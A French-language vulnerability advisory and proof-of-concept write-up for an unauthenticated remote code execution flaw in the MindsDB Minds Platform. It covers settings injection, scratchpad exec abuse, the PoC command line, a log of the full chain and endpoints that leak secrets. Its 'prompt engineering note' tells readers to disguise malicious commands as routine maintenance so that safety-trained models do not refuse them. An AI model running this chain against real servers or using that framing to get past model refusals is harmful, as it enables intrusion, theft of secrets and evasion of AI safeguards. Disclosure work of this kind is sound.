
CVE-2026-73678 — MindsDB Minds Platform : RCE non authentifié via scratchpad exec (CVSS 10.0). Vérifié de bout en bout avec un vrai LLM.
CVSS 10.0 (Critique) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck
Minds Platform (le backend open source de mindsdb/mindshub, auparavant
mindsdb/minds-platform) expose POST /api/v1/responses/ (une API
Responses compatible OpenAI, port 26866) sans aucune authentification.
Il n'y a aucun middleware d'authentification — pas de vérification Bearer, pas
de session, rien. Le serveur installe uniquement un middleware CORS permissif
(allow_origins=["*"], allow_credentials=True).
Un attaquant non authentifié peut donc :
Injecter sa propre configuration LLM via PUT /api/v1/settings/{key}
(openai_api_key, openai_base_url, planning_provider,
coding_provider, *_model) — aucun jeton requis, toutes les requêtes
renvoient 200.
Envoyer un prompt élaboré à POST /api/v1/responses/ →
ResponsesHandler.handle() → Anton ChatSession.turn_stream(input).
Le LLM (contrôlé par l'attaquant) renvoie un appel de fonction pour
l'outil intégré scratchpad (action: "exec"). handle_scratchpad →
prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime
→ scratchpad_boot.py :
compiled = compile(code, "<scratchpad>", "exec")
exec(compiled, namespace) # arbitrary Python → arbitrary OS commands
Comme le endpoint LLM est choisi par l'attaquant (BYOK), l'attaquant peut faire en sorte que le modèle renvoie n'importe quel code scratchpad — aucune coopération ni coercition du modèle n'est requise. La seule condition préalable est une clé API LLM compatible OpenAI fonctionnelle.
Versions affectées : ≤ v26.1.0 (code vulnérable ajouté le 2026-06-08,
« Fresh #12461 »).
Correctif : AUCUN — la GHSA ne liste aucune version corrigée ; le exec()
reste dans main (seuls un middleware Bearer COWORK_REQUIRE_AUTH optionnel,
désactivé par défaut, et des vérifications de portée org-mode existent).
python3 poc_cve-2026-73678.py \
--target http://TARGET:26866 \
--api-key sk-YOUR_OWN_KEY \
--base-url https://api.openai.com/v1 \
--model gpt-4o
Le PoC :
PUT /api/v1/settings/* sans
authentificationuname -a + hostname via le exec du scratchpad)cat /tmp/system_info.txt sur
l'hôteNote d'ingénierie de prompt : les modèles dotés d'un entraînement poussé à la sécurité peuvent refuser des commandes manifestement malveillantes (par ex. des noms de fichiers contenant « pwn »). Présentez la requête comme une maintenance de routine (diagnostics système, vérification de l'état) — le scratchpad exécute tout code fourni par le modèle.
Chaîne réelle de bout en bout contre cowork-server==0.26.6.26.1 avec un
véritable fournisseur LLM (OpenCode Zen, minimax-m3) :
== [1] AUTH-FREE SETTINGS INJECTION ==
PUT /api/v1/settings/openai_api_key: HTTP 200
PUT /api/v1/settings/openai_base_url: HTTP 200
PUT /api/v1/settings/planning_provider: HTTP 200
PUT /api/v1/settings/coding_provider: HTTP 200
PUT /api/v1/settings/planning_model: HTTP 200
PUT /api/v1/settings/coding_model: HTTP 200
== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
HTTP 200 (15.6s) — LLM called the scratchpad tool
== [3] COMMAND EXECUTION CONFIRMED ==
/tmp/system_info.txt inside the container:
Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
95d5d7fa74f6
Aucun jeton n'a été envoyé à aucun moment. La sortie de uname -a a été
produite à l'intérieur du conteneur cible par le exec du scratchpad —
exécution arbitraire de commandes système en tant qu'attaquant distant non
authentifié.
GET /api/v1/settings/reveal-key/{name} divulgue les secrets configurés ;
POST /api/v1/settings/raw écrit ~/.anton/.env.mindsdb/mindshub)